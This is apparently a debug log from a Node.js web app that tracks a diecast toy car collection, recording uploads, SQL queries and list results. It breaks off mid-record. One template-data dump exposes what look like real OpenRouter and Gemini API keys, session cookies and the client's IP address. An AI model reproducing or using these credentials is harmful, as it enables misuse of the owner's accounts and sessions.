2026-02-04T10:43:40.050Z server-connect:app Executing action step condition
2026-02-04T10:43:40.050Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:43:40.051Z server-connect:app Executing action step update
2026-02-04T10:43:40.051Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:43:40.051Z server-connect:output update: { affected: 1 }
2026-02-04T10:43:40.051Z server-connect:app Executing action step upload
2026-02-04T10:43:40.051Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:43:40.051Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:43:40.051Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:43:40.052Z server-connect:upload Processing file: {
  name: 's-l1600 (11).webp',
  data: <Buffer >,
  size: 115662,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-47-20378841770201820049',
  truncated: false,
  mimetype: 'image/webp',
  md5: '5f989258c916ce316663cc1af71b9fcb',
  mv: [Function: mv]
}
2026-02-04T10:43:40.052Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp',
  rel: 'public/assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp'
}
2026-02-04T10:43:40.052Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp',
  rel: 'assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp'
}
2026-02-04T10:43:40.052Z server-connect:output upload_image: [
  {
    name: 's-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp',
    path: '/public/assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp',
    url: '/assets/images/diecast/s-l1600_11_0e76375e-0c78-42a3-935d-f4128c09bd6f.webp',
    type: 'image/webp',
    size: 115662
  }
]
2026-02-04T10:43:40.052Z server-connect:app Executing action step repeat
2026-02-04T10:43:40.052Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:43:40.052Z server-connect:app Executing action step insert
2026-02-04T10:43:40.052Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:40.052Z server-connect:output images: { affected: 1, identity: 198 }
2026-02-04T10:43:40.052Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:43:40.052Z server-connect:output condition: undefined
2026-02-04T10:43:40.286Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:40.287Z server-connect:app Executing action step identify
2026-02-04T10:43:40.287Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:40.287Z server-connect:output identity: 1
2026-02-04T10:43:40.287Z server-connect:app Executing action step restrict
2026-02-04T10:43:40.287Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:40.287Z server-connect:output restrict: undefined
2026-02-04T10:43:40.287Z server-connect:app Executing action step paged
2026-02-04T10:43:40.287Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:40.289Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:51.209Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:43:51.210Z server-connect:app Executing action step identify
2026-02-04T10:43:51.210Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:51.210Z server-connect:output identity: 1
2026-02-04T10:43:51.210Z server-connect:app Executing action step restrict
2026-02-04T10:43:51.210Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:51.211Z server-connect:output restrict: undefined
2026-02-04T10:43:51.211Z server-connect:app Executing action step single
2026-02-04T10:43:51.211Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:43:51.211Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20260201_003743_2ad75325-1c76-4ef3-bc93-eed25b705e4d.jpg'
}
2026-02-04T10:43:51.211Z server-connect:app Executing action step delete
2026-02-04T10:43:51.211Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:51.212Z server-connect:output delete: { affected: 1 }
2026-02-04T10:43:51.212Z server-connect:app Executing action step remove
2026-02-04T10:43:51.212Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:43:51.212Z server-connect:output fileRemove: true
2026-02-04T10:43:51.426Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:51.426Z server-connect:app Executing action step identify
2026-02-04T10:43:51.426Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:51.426Z server-connect:output identity: 1
2026-02-04T10:43:51.426Z server-connect:app Executing action step restrict
2026-02-04T10:43:51.427Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:51.427Z server-connect:output restrict: undefined
2026-02-04T10:43:51.427Z server-connect:app Executing action step paged
2026-02-04T10:43:51.427Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:51.429Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:43:51.645Z server-connect:router Serving templateView /
2026-02-04T10:43:51.646Z server-connect:app Executing action step identify
2026-02-04T10:43:51.646Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:51.646Z server-connect:output identity: 1
2026-02-04T10:43:51.646Z server-connect:app Executing action step restrict
2026-02-04T10:43:51.646Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:51.646Z server-connect:output restrict: undefined
2026-02-04T10:43:51.646Z server-connect:app Executing action step restrict
2026-02-04T10:43:51.646Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:43:51.646Z server-connect:output restrict: undefined
2026-02-04T10:43:51.646Z server-connect:router Render template layouts/main
2026-02-04T10:43:51.647Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=193&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:43:52.620Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:43:52.621Z server-connect:app Executing action step identify
2026-02-04T10:43:52.621Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:52.621Z server-connect:output identity: 1
2026-02-04T10:43:52.621Z server-connect:app Executing action step restrict
2026-02-04T10:43:52.621Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:52.621Z server-connect:output restrict: undefined
2026-02-04T10:43:52.621Z server-connect:app Executing action step condition
2026-02-04T10:43:52.621Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:43:52.621Z server-connect:app Executing action step update
2026-02-04T10:43:52.622Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:43:52.622Z server-connect:output update: { affected: 1 }
2026-02-04T10:43:52.622Z server-connect:app Executing action step upload
2026-02-04T10:43:52.622Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:43:52.622Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:43:52.622Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:43:52.622Z server-connect:upload Processing file: {
  name: 's-l1600 (10).webp',
  data: <Buffer >,
  size: 94170,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-48-20378841770201832619',
  truncated: false,
  mimetype: 'image/webp',
  md5: '5e31c384cec7c7e7cf4a26f276578038',
  mv: [Function: mv]
}
2026-02-04T10:43:52.622Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp',
  rel: 'public/assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp'
}
2026-02-04T10:43:52.623Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp',
  rel: 'assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp'
}
2026-02-04T10:43:52.623Z server-connect:output upload_image: [
  {
    name: 's-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp',
    path: '/public/assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp',
    url: '/assets/images/diecast/s-l1600_10_9a56577c-e6c7-4e7d-b9b9-986809d463c2.webp',
    type: 'image/webp',
    size: 94170
  }
]
2026-02-04T10:43:52.623Z server-connect:app Executing action step repeat
2026-02-04T10:43:52.623Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:43:52.623Z server-connect:app Executing action step insert
2026-02-04T10:43:52.623Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
    query: 'insert into `diecast_images` (`diecast_id`, `image_url`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:43:52.623Z server-connect:output images: { affected: 1, identity: 199 }
2026-02-04T10:43:52.623Z server-connect:output repeat_images: [ {} ]
2026-02-04T10:43:52.623Z server-connect:output condition: undefined
2026-02-04T10:43:52.850Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:43:52.851Z server-connect:app Executing action step identify
2026-02-04T10:43:52.851Z server-connect:app options: { provider: 'security' }
2026-02-04T10:43:52.851Z server-connect:output identity: 1
2026-02-04T10:43:52.851Z server-connect:app Executing action step restrict
2026-02-04T10:43:52.851Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:43:52.851Z server-connect:output restrict: undefined
2026-02-04T10:43:52.851Z server-connect:app Executing action step paged
2026-02-04T10:43:52.851Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:43:52.853Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Black Edition Gift Set',
      brand_id: 72,
      series_id: 193,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
